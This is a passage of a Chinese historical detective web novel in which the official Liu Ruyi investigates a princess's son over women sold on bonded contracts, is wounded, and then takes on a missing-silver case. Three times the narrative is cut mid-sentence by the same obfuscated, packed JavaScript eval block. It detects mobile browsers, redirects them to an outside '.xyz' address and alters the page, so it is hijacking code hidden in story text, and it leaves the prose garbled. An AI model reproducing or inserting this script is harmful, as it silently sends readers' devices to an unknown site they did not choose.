柳如意望着被暗淡夜色笼罩的京城，突想起昨日谢韫那句，“略显偏执极端”。于是，计划再去趟长公主府，不过，此次，她要悄然前去。 须臾间，银勾般明月已然升起，散发出柔和的光芒。 此时，柳如意也早已换上一身漆黑的夜行衣。 柳如意轻点足尖，身形微晃，如微风略过般，三下两下，便已到达长公主府内。 长公主府内，几点灯火发出几许微弱的光。而府中巡卫早已依照时刻表，分成四队，绕着内院巡逻起来。 为求稳妥，柳如意挑了条石子漫的羊肠甬路。此路直通内仪东角门。 但此道较为偏僻狭小，且苍苔布满，稍有不慎，脚底便得踩滑跌倒，若是遇上雨天，则更是泥泞满地，故府中巡卫只是每一时辰巡逻一次，但每个时辰巡逻的具体时间不定。 上次巡逻正是亥时整点，如今，已是亥时五刻。要想成功脱身，不被发现，柳如意定要赶在下批巡卫巡逻前，自甬路走出。 此时，已剩三刻时间，甚是紧张。 柳如意环顾四周，见周遭无人，一个转身，扎进甬路当中。 夜色沉沉，甬路上没有烛火，自怀中掏出火折子，靠朦胧的月光和火折子的微光，才得以看清前路。 再过一转弯，就到内仪了。 忽见一股火花自山石后发出，柳如意好奇，偏转脚步，朝那侧小心走去。 其趴在石头后，透过微弱的火光望去。 只见火光之下，一小婢使绾双髻，着褐色长袖短衣、长裙，小心地从竹篮内拿出一沓黄纸，朝火堆里一点点扔去，小声啜泣。 这时，自另一侧走来一同服饰女子，上前几脚迅速将火踩灭，嗔怒道，“你不想活了？要是被公子知晓，皮肉之苦也就罢了，最怕……” 柳如意往石头上又贴了贴，竖起耳朵，可惜那女子戛然而止，未接着说不下，只是直直摆头。 而两人匆忙收拾了下现场，便急急地离开。 到内仪东角门时，守卫正迷糊打盹，柳如意见状，立马以迅雷不及掩耳之势，翻过墙去。 胡榭房间位于东小院第二间。只见，柳如意慢慢推开左侧的窗户，透过打开的窗户缝中，往里望去，见周遭无人，遂一个旋身，稳稳地落在地上。 墙角的香炉之中，淡青色烟雾在盈盈月光中，绞缠萦绕，又慢慢散开。 柳如意屏住呼吸，蹑手蹑脚地朝香炉边走去。只见其揭开香炉盖，从怀中拿出一小粒丸子，扔了进去。那是种令人深睡的药。 一切妥当后，其开始在房间内小心地寻找端倪。可是，找了一圈，都是些平常玩意，未发现什么可疑之物。 或是误解了胡大人？柳如意开始怀疑自己。可是那两个小丫鬟没说完的话究竟是什么呢？ 突然，柳如意瞥见床榻旁书架上的一角，放了个平平无奇的木头盒子。 盒子用铜锁锁着，看着已有些年头，外头的红漆已褪得差不多，已能看出原木的颜色。 只是唯一奇怪的是，与木盒同一层的书籍均落满了薄薄一层会，而唯独木盒干干净净，未染一丝尘埃。 柳如意低伏着身子，轻轻地向书架边靠去。 等其拿到木盒后，自发间拔下银簪，在锁孔中轻轻一拨，咔哒一声，铜锁被打开了。 映入眼帘的则是一本薄薄的账册，账册漏出一角，赫然露出两字“卖身”，柳如意正欲翻开细看，就听见“吱吖”一声，房门被推开。 只听脚步身愈来愈近。 情急之下，柳如意只得将木盒匆忙锁上，放回原处。轻身一跃，翻上横梁。 不久，只见内间的门“吱吖”一声被推开了。 原是一丫鬟进来送药。只见其将手中端着的青瓷药碗，轻轻搁在塌前小几上，上前低声道，“公子，该吃药了……” 丫鬟连喊了几声后，胡榭才堪堪睁开眼睛，自塌上坐起身来。 只见那丫鬟立即从一盘拿出一软枕，放在床头，方便胡榭待会喝药时倚靠得舒服。接着，又立马将药膳递了过去。 胡榭看了眼，漆黑的一团，皱眉道，“这药还要喝多久？” “医正说还需五日。”丫鬟看着胡榭低沉的脸色，心中一哆嗦，本想从一盘小几上拿了块蜜饯，奈不住双手颤颤巍巍，手一个没抓稳，蜜饯竟掉落在地。 丫鬟见状，立马趴下身子，跪倒在地，不停朝地上磕头道，“公子，饶了我吧……” 门外一男子听到声响，急忙走进来。此人正是胡榭书童王芳。 匆忙扫了眼屋内场景，心中已是明了。 胡榭摆了摆手，“带下去吧。” 只见王芳一个口哨，屋内顿时出现两个黑衣侍卫，朝丫鬟口中塞了一卷布后，将粗暴地将人拖了出去。 屋内顿时又恢复以往的平静，只余下地上那摊浅浅血迹同往常不同。 “院中下人该重新换一拨人了。”胡榭拿起小几上的帕子，擦拭着指尖。 “是。”王芳俯身应到。 只见胡榭眸光突然转到书架上的木盒，吩咐道，“把那盒子拿给我。” 王芳应声上前，取下盒子，恭敬地递给胡榭。 胡榭接过，将盒子放在自己腿上。其一手从脖间取出长命锁，轻轻一旋，只见长命锁“咔哒”一声，分成两半，漏出一把小巧的钥匙。 胡榭取出钥匙，将盒子打了开，见账本无虞，“最近朝廷盯着紧，这批生意做完后，提醒兄弟先收手。” 说着，又拿出账本，起身向烛台处走去。 烛台上本是豆大的火苗，在接触到账本后，火苗猛然窜高，发出明艳的火光。不一会儿，账本便化为灰烬，随风消散在空中。 见胡榭无其他事情吩咐，王芳便转身掩门离开。 柳如意趴在横梁上，见房内发生的事情，额头上已是沁满汗珠，离子时还剩半刻钟，得尽快离开。 很快，胡榭便回床塌上接着睡了起来。柳如意赶忙掀开房顶上的瓦片，沿着来时原路，匆忙离开长公主府。 明月高悬，几点星光明明灭灭。 李衡焦急万分地在长公主府外不远处的见面内，来回踱步。离约定时间已是过去两刻，却还未见到柳如意的身影。 起初，听说柳如意想夜探长公主府，李衡便自告奋勇，言，此行凶险，让其前去。 但柳如意认为，自己身为大理寺寺正，父亲又是礼部尚书，若是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537363|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现，自己尚可用以查案为借口忽悠过去，且至少，他们不敢杀了她。而若是李衡去，若是被发现，凶多吉少。 后李衡实在拗不过柳如意，只得同她约定时间，子时整点，长公主府外竹林碰面。若是子时四刻，柳如意还未出来，其便带着令牌，以查案为由，带着府兵前去救人。 终于，又是半刻钟，从远处远远地走来一人，此人正是柳如意。李衡赶忙上前，“大人，可是发生了什么？怎么如此晚才出来。” 柳如意捏了捏眉心，“回府说。” 柳府内，烛火跳跃，发出“噼里啪啦”的声音 柳如意换下夜行服后，将其今晚在长公主的见闻重述了遍。 “沈大人也掺了进来？” 柳如意点了点头，“出长公主府时，见一黑衣男子手中似抱着什么东西，颇为好奇，便尾随其后，怎料那暗卫竟进入沈府后，便消失不见……沈大人为人本就神秘，且同你约定时间已过，遂我便匆匆往竹林赶去，未接着打探。” 说着，又接着遗憾叹息，“那本账册，当时来不及翻看，怪我！就不该放回去的，那龟孙子……” 李衡闻言，额头沁出薄汗，这要是拿上了，怕是其凶多吉少。 骂骂咧咧一顿后，柳如意才开始理性分析案件，“我虽未来得及翻看账本，但其内漏出‘卖身’两字……”柳如意重复喃喃“卖身”，忽嘴里顺口蹦出一字，“对，卖身契！” “胡榭私下拐卖女子？” 柳如意摇头，”若是女子都签下卖身契，‘拐卖’倒说不上。” 李衡无奈道，“那仍由歹人为非作歹吗？” 柳如意眸光闪了闪，“胡榭如此担心账本暴露，说明里头必定有些不干净的东西……”说着，便吩咐道，“这几天，你要盯紧胡榭书童王芳，最近几天，估计有大动作。” 果真，两日后，李衡终于蹲守到王芳出府。 子时一刻，万籁寂静之时，有人偷摸着从长公主府后门溜出，此人正是王芳。只见其身穿一身低等小厮的粗布衣裳，低垂着头，每过一转角，都会顿下脚步，环顾四周，确定无人后，才会接着前行。 李衡小心地跟在其身后，因怕被发现，不敢跟得太近。 只见李芳七拐八拐，进了城南处的一胡同内。胡同狭隘，只容两人通过，却又阡陌交通，处处都是路口，复杂得很。 倏忽间，自巷子内传来一声犬吠，王芳一个转身。再见，已是没了踪影。 李衡见状，忧虑已是打草惊蛇，遂只得赶回柳府。 而夜色中，巷角的一处屋内，一黑衣男子缓缓阖上窗，“该换一地了。” 翌日清早，李衡便将昨晚情况禀告柳如意。 柳如意闻言，并不惊讶。毕竟，胡榭如此狠毒，单从王芳能在其身边侍奉如此之久，足以证明此人不简单。 只是，跟丢的地方是，竟是南城的柳花巷？这令她有些意外。 毕竟，柳花巷可是京城中一些大臣，为避免家中夫人哭闹，偷偷安放姬妾的地方，甚是隐蔽。被极少人知晓。而她知道此事，也是因其在南城兵马司任职时，一幕僚吃酒时不小心说漏的。 柳如意抬头望向几点星辰，喃喃自语，“难道是凑巧？” 11. 命悬一线 掐指一算，离景元帝规定破案的日子，仅剩下五日了。 而如今，线索戛然而止，胡榭那边似乎也被打草惊蛇般，没了动静。 突然，窗外草垛上传来一、两声猫叫声，柳如意眼睛倏然一亮。 鸣虫馆内，依旧人声鼎沸。 “公子，好久未见你了。今日可是带来什么稀奇品种？”李袭刚巧在馆内，见到柳如意，赶忙上前。 柳如意摆了摆手，“家中夫人最近闹脾气，撒泼打缠，甚是心烦，故特来这放松番。” 李袭闻言，“可是为何事？” 柳如意长叹一口气，“……外头养着的姬妾想要名分，闹到府中，贱内不依，整日哭喊要上吊自缢……”又叹了口气，“食色性也。自古哪个男子不是三妻四妾的？” 说着，柳如意用余光偷偷打量起李袭的神色变化，只见其笑了笑，“公子，可听过，唯女子和小人难养也？”说完，顿了顿，小声附在柳如意耳边说道，“不过，我这里倒有听话的货，绝不折腾，包你满意。” 柳如意抬眉轻笑，“哦？当真如此。” 只见，李袭将其带入二楼的一间雅格内，掩门说道，“公子，我这的货，个个模样顶好，伺候人的功夫更是不差……”说着，脸上露出猥琐之色。 柳如意按耐下心中的恶心，“可稳妥？” 李袭拍了拍胸脯，“公子，咱们也有多场交易的交情……也就实话跟你说，上家因家中出了变故，这才着急出掉手中的货。你放心，个个都签了卖身契的，绝对稳妥。” 柳如意微微点头，“那我就放心了。几钱？” 李袭用手比了个“十”，“一百两。” 柳如意应下，“好，何地何时交易？” “明日丑时，此地见。届时，自有人带你前去交易地。” 翌日丑时，鸣虫馆前，不知何时已停了辆马车。 柳如意正欲抬脚踏上踏板，只见一蒙面侍卫伸手拦住了她。 柳如意诧异，偏头望向鸣虫馆的掌柜。 只见掌柜上前一步，解释道，“公子，上家为保买卖稳妥，特定下如此规矩，凡交易者，需搜身蒙面前往。还请您配合。” 柳如意佯装生气道，“蒙面尚可。要是搜身，甚是折辱，本公子倒是头一遭见。你若是不信任我，这买卖不做也罢。”说完，转身就要离开。 掌柜见状，上头催着紧，得赶紧将货转手卖出，遂连忙上前陪笑，“自是信任。那还请公子带上眼纱。” 柳如意接过眼纱，往眼上覆去，虽薄薄一层，却密不透光，霎那间，眼前已是黑茫茫一片。 “公子，到了。你可以摘下眼纱了。” 复见光亮时，已是到了一简陋屋舍内。屋内灯火闪烁，只有一桌几椅。 只见，屋内上座坐着一人，背对着大家。其身旁一左一右分别立着两暗卫，腰悬尖刀，眼神中满是狠戾。 只见那人招了招手，只见从后头走来一壮汉，粗鲁推搡着一女子，那女子二八年纪，眉清目秀，蜷缩着身子，一双月牙般的眸子早已泛着莹莹泪光，惹人心疼。 “公子，你看这个如何？”男子背身说道。 柳如意闻言暗道不好，这人声音像极了王芳。又结合背影，心中已然断定。 又想到此前前去长公主府探望胡榭时，两人曾打过照面，心中更是忐忑。 于是，柳如意只得略微压低声音，“可。”说完，便拿出银子，递给壮汉。内心期盼着，早点离开这是非之地。 只见壮汉点完银子后，便将女子交给了掌柜，示意其可以带人离开。 柳如意内心长舒一口气，接过眼纱，覆上眼睛，正要跨过门槛。 “慢着。”王芳不知何时转身，喊停了柳如意他们。 只听，其伸手指向柳如意，悠悠开口道，“你，很像我的一个故友，摘下眼纱……” 只见，柳如意单手将眼纱一扯，另一手自靴中拔出一把短刀，夺门而出。 “快追……别让他跑了。”只见几个暗卫身行一颤，如离弦之箭，紧追在柳如意身后。 圆月高悬，洒下一片片柔和的月光。而竹林内，竹叶纷飞，杀气腾腾。 柳如意此次带的是把短刃，相比暗卫的长刀，已是不足。加之，一拳难敌四手，且对方武艺也均不在柳如意之下。几招下来，柳如意已是下风。 忽寒光一闪，一把弯刀刀锋直至柳如意咽喉。其一个侧身，虽堪堪躲过致命刀锋，却被锋利刀刃狠狠划过肩膀。顿时，温热的液体往外渗出，染红衣袖。 柳如意一个踉跄，眼瞧暗卫就要擒住她，转身就朝身后几米开外的湖边跑去，一个扎身，跳进河中，没了踪影。 岸上的暗卫见状，连忙往河内盲射几枚暗器， 只听其中一暗卫说道，“他己经被我弯刀所杀，若不及时服用解药，必死无疑。” 暗卫在岸上等了会，见没什么动静，便离开了。 更深露重，夜晚的湖水有种刺骨的寒意。柳如意强忍着肩膀上的疼痛，奋力向下游划去。 鲜血在湖底散开，化作朵朵猩红的血花。慢慢地，柳如意只觉头晕目眩，浑身无力，眼前开始模糊起来。 恍惚中，她似乎听到有人在唤她，可是，就算起拼尽最后一丝力气，眼皮也如同灌了铅般无法打开，话更是无法应答。只觉得身体愈发沉重，慢慢下沉。 柳如意涌起一阵酸涩的无奈感，心想，自己大抵丧命于此了。 再睁眼时，已在一素净的屋内。 柳如意抬眸打量到周遭，只见，房内摆了张金丝楠木小几，上面摆着青白釉瓶，里头斜擦着几只兰花。床榻前立着一道绣着翠竹样式屏风，将床榻隔开，“原来我还没死啊……” 外头的丫鬟似是听到声响，走了进来，“呸呸呸，大人，别说些不吉利的话，您吉人自有天相！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537364|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻声瞧去，只见女子身穿一件淡蓝色袄裙，头梳丫鬟，簪缀珠花钿，双眸明亮灵动。 柳如意连忙爬起身来，一不小心扯到肩上的伤口，疼得冷吸了口气。 那女子赶忙上前，向柳如意身后垫了块软枕，“大人，医正说你尚需好好休养，方可恢复如初。” 柳如意点头道谢，“是谁救了我？” “沈大人。” 话音刚落，只见从外头走来一人，在屏风顿住了脚步，问道，“柳姑娘，听府中下人说，你已醒，现在身体可好些了？” 柳如意不方便起身，只能作揖道谢，“好多了，多谢沈大人。救命之恩，下官日后定加倍奉还。” 沈暨白闻言，轻笑道“哦”了声，“那这是第二次了。”说完，扬手示意医正前去给柳如意检查一番。 突然，屏风后传来一声，“大人，户部左侍郎勾结鸣虫馆，干些人口贩卖勾当。”语气之坚定，不容置喙。 沈暨白点了点头，眸色沉沉道，“你出事的第二日，长公主就带着胡榭前去投案，并亲自向陛下请罪，招供出实情……” “陛下如何处置？”柳如意追问道。 “罢黜胡榭户部左侍郎，降为光禄寺少卿。罚‘买卖’所得。” 柳如意面色一冷，“就这样？如此龌蹉行径，杀了他都不足为过。” “长公主求情，殿下顾念手足之情。加之，案件中的每个女子均有卖身契，不足认定为‘拐卖罪’。”沈暨白顿了顿，“至于，府中的女子死因，长公主府说的是闺房之乐。” 柳如意双拳紧握，想起尸体上漏出的条条鞭痕，咬牙切齿道，“闺房之乐？女子在他们眼里，就是卑贱的玩物。”鸣虫馆掌柜曾跟她提起过，上家收集训练贫苦女子，专门满足一些商贾人家的特殊癖好。 说着，又打算下塌去，“这些人不应该逍遥法外。” 沈暨白急忙上前扶着柳如意虚弱的身体，“如今，圣心一定，断不会轻易更改，不如……”沈暨白小声附在柳如意耳边说道。 说完，伸手唤来一人，定睛一看，此人正是当晚被暗卫“杀”了的丫鬟。 “当晚，侍卫偶然救下她。本是想着作为证人，举告胡榭，故一直安置在府中。” 柳如意冷笑，“不做亏心事，不怕鬼敲门。这下，亏心人若是见到‘死而复生’之人……” 当晚，长公主府内，劲风吹过，引得蜡烛摇摇欲坠。 剌剌风声放中，隐约夹杂了几声惊恐声。 翌日大早，风和日丽。沈府内，桂花已然绽开，随风拂过，带来阵阵花香。 “听说，胡榭疯了？”柳如意平日最不喜喝药，但今日竟觉得药中略带甘甜。 沈暨白点了点头。 柳如意靠在床上，嘴里喃喃道，“因果循环，作恶太多，迟早遭报应。” 沈暨白一时默然，片刻后，应到一声“嗯”。 12. 讨要补偿 昨夜，柳如意将最近长公主府女尸案件有关事情原委梳理了遍，想明白了其中部分的关窍所在，遂又问道，“对了，鸣虫馆的李袭也不简单。我觉得也要调查一番。” 沈暨白的语气平静如水，“你出事的第二天，鸣虫馆就关门歇业了。” “可派人追查过其行踪?”柳如意接着问道。 只见沈暨白摇了摇头，一双如水不可测的眸子深处略微透出些担忧之色，“李袭之事，你不要在干系了。且日后你们定会见面。届时，你自会明了。” 刹那间，柳如意猛然想起上次沈暨白出现在鸣虫馆的那幕，掌柜对其的态度明显是熟知，“你也参与其中？” 顿时，沈暨白眸色暗了几许，眼中已有韫怒。 柳如意闻言，小声喃喃道，“你那日突然出现在鸣虫馆，掌柜对你的态度可是不一般？若说无干系，怕是……” 柳如意未说完，而是瞥眼觑了觑沈暨白的脸色。 只见沈暨白冷眼道，“你倒是从不怀疑亲眼所见之事。可殊不知，有时，眼睛最易蛊惑心智。” 确实，之前她已撞破其与掌柜“交易”,若是他真正参与其中，又何必多此一举救自己一命呢？于是，做了个拱手礼，将腰身弯得低低得，请罪道，“沈大人，是下官轻率了。” 沈暨白默默盯了柳如意半响，她虽表面是个得过且过的人，实则柳如意的性子确实如牛般倔强，若是不透露些关窍，定要打破砂锅问到底，届时私下调查，恐扰乱“时局”，遂转身道，“前阵子，锦衣卫抓到名刚潜入大乾的细作，严刑拷问下，其说出交易地点——鸣虫馆，但是其余事情一概不知。因细作彼此还未碰面，遂我便乔装前去鸣虫馆接头，想打探些内情……” 柳如意还欲问些其他疑问，外头却传来阵吵闹声。 很快，只见几人身后带着一群人匆匆忙忙走了过来。只听见为首的一人说，“慢点，里面都是稀贵药，别磕着碰着。”此人正是柳府管家林振。 随后，只见队伍中的一蓝衣少年剌剌闪到柳如意跟前，一脸担心之色，“妹妹，你失踪了几日，可担心死我们了……”柳如意失踪的几日，柳府没少派出人手打探其下落，可惜，人都如石沉大海般，没有音讯。 这不，昨日柳如意刚醒，沈暨白便给沈府前去送信。但鉴于昨日时辰太晚，恐打扰柳如意就寝。遂翌日大清早，柳祈安便赶紧带着府中家丁前来沈府。 “哥，多亏了沈大人照顾，我身体好多了。”柳如意宽慰道。 沈暨白不知何时已被一群人挤到人群后面。 柳祈安这才拨开人群，从一堆人中找到沈暨白，朝其作揖道，“感谢大人对小妹的照顾，这些薄礼，还请收下。”说完，又满脸心疼地说，“既然好些了，那咱们回家，爹娘也这几日因你失踪的事情，茶饭不思……不过，你怎落得一身伤？” “失踪？”，柳如意闻言，心中暗自揣度道，自己被刺杀的消息，柳府都没查出所以然，而长公主那边，竟然能在自己被救回的第二天，得知消息并主动招供部分事实。这其中定是有内鬼接应。 首先可以排除王芳那边派出的暗卫，因为他们已认定自己早已葬身河底。那剩下的只有……沈府或者城门校尉。沈府应该不是，那城门校尉？难道是兵部的人？柳如意摆了摆头，这个想法太过荒唐。 柳祈安见柳如意良久未言语，轻声喊道，“可是有想到什么线索？” 此事涉及太过复杂，牵扯太广，因阿父、阿哥护犊子的性子，怕是易至柳府于不利之地，遂柳如意笑着摇头，“没什么，只是想府中的盐酥鸡了……” “这不简单……”说完，就转头向李振吩咐道，“待会回去后，记得嘱咐膳房那边做些小姐爱吃的菜肴，尤其是盐酥鸡。” 悦来居内，柳如意端坐在窗户旁，侧耳听着楼下吃客的酒后闲谈。 “听说了没？昭华长公主之子胡榭前阵子被人揍了顿……鼻肿脸清，被人胡乱扔在茅厕当中，还是被府中下人发现，才得以保下一命。”一胖头男子酌一口小酒，唏嘘道。 “昭华长公主可不是好惹的，那人可是惨了！”对面人往口中送去颗花生粒，已是迷离的眼中露出同情之色。 只见胖头男子故作玄虚地摇了摇头，在对面人催促下，才缓缓开口道，“你猜怎么着？昭华长公主将京中翻了个遍，也没找到半点线索。” “活该。”谢韫冷哼一声，想起胡榭的伤势，心中懊恼还是下手过轻。边说边将盛好的鱼汤小心地递了过去，“你这身体刚好，多喝些鱼汤补一补。” 柳如意接过汤碗，“陛下没派人查查？” 谢韫道，“你受伤的事，陛下本就对柳家有愧，故只要胡胡榭不死，陛下也只会派人敷衍查一查。” 景行帝虽说已年到中年，可见惯了勾心斗角，其起初便轻易识破昭华的请罪小伎俩--前脚，礼部尚书之女柳如意受伤，危在旦夕；后脚，昭华便带着李袭前来招供长公主府女尸案细节。世间哪有那么凑巧的事情？ 而昭华又怎会不知，自己龌蹉心思早被识破，只不过在赌景行帝的情义。 最终，景行帝还是念及手足之情，压下柳如意受伤真相，亦饶了胡榭一命。 不过，他也只能做这些。手足对比江山，他更在意后者。故如果柳府或者其他人，通过别的渠道发现柳如意受伤真相，为其鸣不平而报复胡榭时。在保证不伤及胡榭性命情形下，他也只会睁一只眼闭一只眼。 柳如意恍然大悟道，“怪不得吏部一下子给我批这么久的病假，说是让我好好调养身体，原是补偿我呢……” 谢韫听到“补偿”两字，脑中突然想起了前阵子柳如意提起的公务补贴费，“公务补贴费的事，许大人已上奏得陛下批准，有关文书估摸着近期就会刊印出来。” 柳如意一笑，心想今后又可以节省一笔开支，不由拍了拍谢韫的肩膀，“靠谱。” “大个，你好歹也是尚书之女，怎么现如此拮据？”谢韫疑惑道。 柳如意尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537365|170941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬一笑，“还不是朝廷突然实施绩效考核？你也知道我家以考核结果为标准，发放月银……前阵子，我不是被扣了几分，导致月底考核不及格嘛？所以，我如今到手月银少之又少。现唯一指望就是年底考核上等，并获奖赏，这样，月银才可恢复之前等级。” 谢韫抬眸，笑道，“要不我委屈些，娶了你？忠平王府月银发放可没有这些规矩。” 柳如意摆头，“算了，那我还是接着拮据吧。谢少在外没少惹风流债，我怕被她们唾沫星子淹死。” 瑶阶玉树，如君样，人间少。要说京中样貌决绝者，非沈暨白、谢韫、赵冉三人莫属。 三人虽然样貌均格外出众，但性格却是迥然不同。 沈暨白为人清冷，谪仙男子，只可远观也；赵冉，景行帝四子，剑眉斜飞，目若朗星，武艺、战术了得，是“少年将军”，不过长年在藩地，在京中时间件甚少；谢韫，笑如朗月清风，一双桃花眼格外勾人，最为风流倜傥。 闻言，谢韫长长地叹了口气，“大个，你可冤枉我了，我和那些姑娘之间清清白白，绝无越矩之行……”谢韫语气中满是委屈，一双桃花眼无辜地看着柳如意。 柳如意白眼道，“打住！莫演了……” 谢韫轻轻摇头作惋惜状，“哎！终是我错付了。”说着，又从怀里掏出一本册子，递给柳如意，“这是工部递交的长公主府家祠走水修缮清单。” 柳如意接过，仔细翻看道，册子上不过是些烧毁物品损坏程度以及修缮价格明细。不过，有一点格外稀奇之处--靠门边的物品受火势影响程度远大于烛台处。 谢韫见柳如意眉头紧皱，开口道，”按理说，家祠走水，多为烛台之火引起，如此一来，必定是先起火的破损程度较大，而此次走水却截然相反，说明起火点非烛台处，而是在门边。” 柳如意点了点头，谢韫说的没错，若是起火点在门边，而门边压根没有烛火，那此次走水便是有人故意为之，“有人想杀胡榭，故意作成走水样子？” 谢韫摇头道，“若是那人想杀胡榭，就不会令火势只从祠堂左右两边蔓延？为其留条生路。”其顿了顿，“而且，若是胡榭死了，陛下定会彻查此事，容易引火上身。” 柳如意眼神黯然，“那那人这么做又是为何呢？” 谢韫道，“或是限制胡榭行动？或是让其被人注意？” 柳如意瞳孔微微一缩，想到长公主府女尸案的各种玄机，背后之人设计送女尸入府，昭华长公主指定她破案，到波斯猫信息提示，甚至期间朝安贵妃身体不适的陛下催促……每一步，都似有人执子布棋，“他在引导我调查胡榭，或者利用我除掉胡榭。” 可是那人的目的仅是除掉胡榭嘛？柳如意眉头深深拧起，心中直觉告诉她绝非表面那么简单……不过，即有人执棋布局，与其费力揪出幕后之人，打草惊蛇，不如“任其摆布”，静待“漏洞”。毕竟，图穷匕见，牵扯的棋子愈多，整个棋盘呈现便更清晰，布局意图也就愈加明显。 13. 官银失踪 转眼间已过去一月，柳如意的身体也休养得差不多。 望着外头明媚的暖阳，柳如意想起这阵子休养耽搁的公务，遂撩起车帘吩咐车夫道，“去大理寺。” 大理寺内，柳如意的案前文书已有半人高。 刚进门，就见一人匆忙的迎了上来，“大人！你身体如何了？可有大碍？”此人正是大理寺司务厅夏雨，二八年纪，脸还未长开，加之有对虎牙，笑起来格外可爱，大家都亲切叫他“六儿”。只是其向来明媚的脸上此时布满了愁云。 柳如意摆了摆手，示意无事，开口问道，“可是有什么急事？” 只见夏雨眉心紧蹙，“上头近日连发几封文书，催促要尽快办理湖广户部郎中的案子……” 柳如意见其语气吱唔，“有话直说。” 夏雨才又接着道，“这个案子上头点名要大人您查办。” 柳如意咬牙，上头定是把重了其命脉，一案又一案，文书一封又一封，可谁让她缺钱呢？不敢违拗，只能接了。 只是，这个案子她倒是曾有所闻。 前阵子，这个案子可是京城酒肆中食客、酒客议论的“热点”。倒不是因为这是个诡案，而是因为死者死因甚是荒唐——酒食罪饱，男子做过死。 只是，这个案子既已查清，非悬案疑案。按大乾律法，只需刑部整理案宗，并做归档结案处理。为何上头要牵扯上大理寺？又为何需要其查办，遂问道，“那个案子不是已经查明原因了嘛？可是有何冤情。” 只见，夏雨从怀中掏出一封带着红漆封泥的文书，朝柳如意递过去。 柳如意一眼瞥见上头的封泥，心中纳闷，封泥是为了控制知悉范围。如今，湖广户部郎中案件死因众人皆知，不由心中猜掇，莫非案件却有蹊跷？ 遂急忙拆开文书，心中疑惑了然消除。上头如此重视，查陈牵死因为假，实则寻其经手的十万官银。此封文书正是下令命其秘密找回官银的任务书。 夏雨见柳如意沉默良久，加之封泥文书，已然猜道是个棘手的案件，“大人，这个案子，上头传话，说都察院那头晚些也会派一人同大人一起前去湖广。” “都察院？”柳如意眉头更加紧蹙，胡平县出了这档事，终是言官监察不力所至。陛下此次派都察院前去，约莫是想敲山震虎，整顿那边的官纪。只是，官银丢失非一人之力可成，必是官官相护所至。故，若要真的纠百官之常，查处不合格官吏，难免会出现官员青黄不接，影响地方正常运转。 故，此次都察院前去也只是杀鸡儆猴，做做样子罢，点到即可。 只是，如此一番，要能起到这般作用，官职则要高于湖广巡抚，那只有二品左右都御史。然而，左都御使非必要不外出，需坐镇京中主持朝野官场纠察工作，那……前去的只能是右都御使沈暨白。 想到这，柳如意眉心微微绽开舒展开，沈暨白为人虽“一板一眼”，不苟言笑，最是铁面无私，可是相比于都察院那些平日欢言巧语，甚似兄弟，若真是来了事，比起那些避而远之的老狐狸，她还是喜欢和前者打交道，开口问道，“何时起身？” 夏雨答，“后日就得起身。” 出发那日清晨，天还灰蒙蒙，一抹朝霞已经偷偷染红天空的一小角。 马车辘辘在官道上稳稳地跑着。车帘内，柳如意和沈暨白对坐着，甚是尴尬，“大人，我记得你老家是湖广一带的？” 沈暨白头微靠在梨木舆轼，颌着眼，略微地点了点头。 柳如意问道，“那大人对胡平县可了解？” 沈暨白摇了摇头，“未曾去过。” 柳如意垂头叹气道“好吧”。她本想着借沈暨白在当地的人脉，打探下消息，如今，想法已然落空。 柳如意眼睛一转，“那大人准备如何处理那些‘昏官’？”地方上，官官勾结、中饱私囊并不少见。十万两官银，如此一大笔钱，以一人之力怕是难以瞒天过海，期间难免有睁眼瞎，随意糊弄揶揄者。若是找出其中一处联系，便可按图索骥，找出其中关窍。 沈暨白抬眸扫了眼柳如意，淡淡地说道，“昏官？” 柳如意讪讪道，“大人，下官胡乱猜的。陛下此番如此大阵仗，不就是为了查处官纪嘛？大人手中应该有记录胡平县官吏风评的相关密帖？”自从朝廷重修考核法，都察院那边不仅会有各部、各科收发文簿，而且私下里也会偷偷记录官吏的不良作风，方便秋后算账，数罪一同查处。 沈暨白道，“胡平县隶数衡州，地处偏僻，考核法改革实行不过半年，故地方上并未强制要求准备作风记录密帖。” 沈暨白又补充道，“其实，不一定要从帮其作假的官吏入手……如此大数量的官银，转移过程必定需要人手。” 柳如意细想了番，陈牵既是暴毙而亡，在如此风口浪尖上，其他人刀头舔血转移官银的可能性太低。那么，只能是陈牵生前以权谋私，挪用官银……其死后，无人填补空缺，自然也就出现了官银丢失的现象。 开始，她仅是想到“隐瞒”“作假”之事，竟忽略“运输”这一环节。 那，如果她是陈牵，要做到悄无声息地将十万两白银官银转移出去，那必然要找亲近之人。 接连几日的奔波，马车终于在日落时分，缓缓驶进胡平县的城门。 巷子尽头，坐落着间青檐白墙的宅子，只见红漆大门紧闭。 柳如意上前扣了扣门上的虎头衔环。 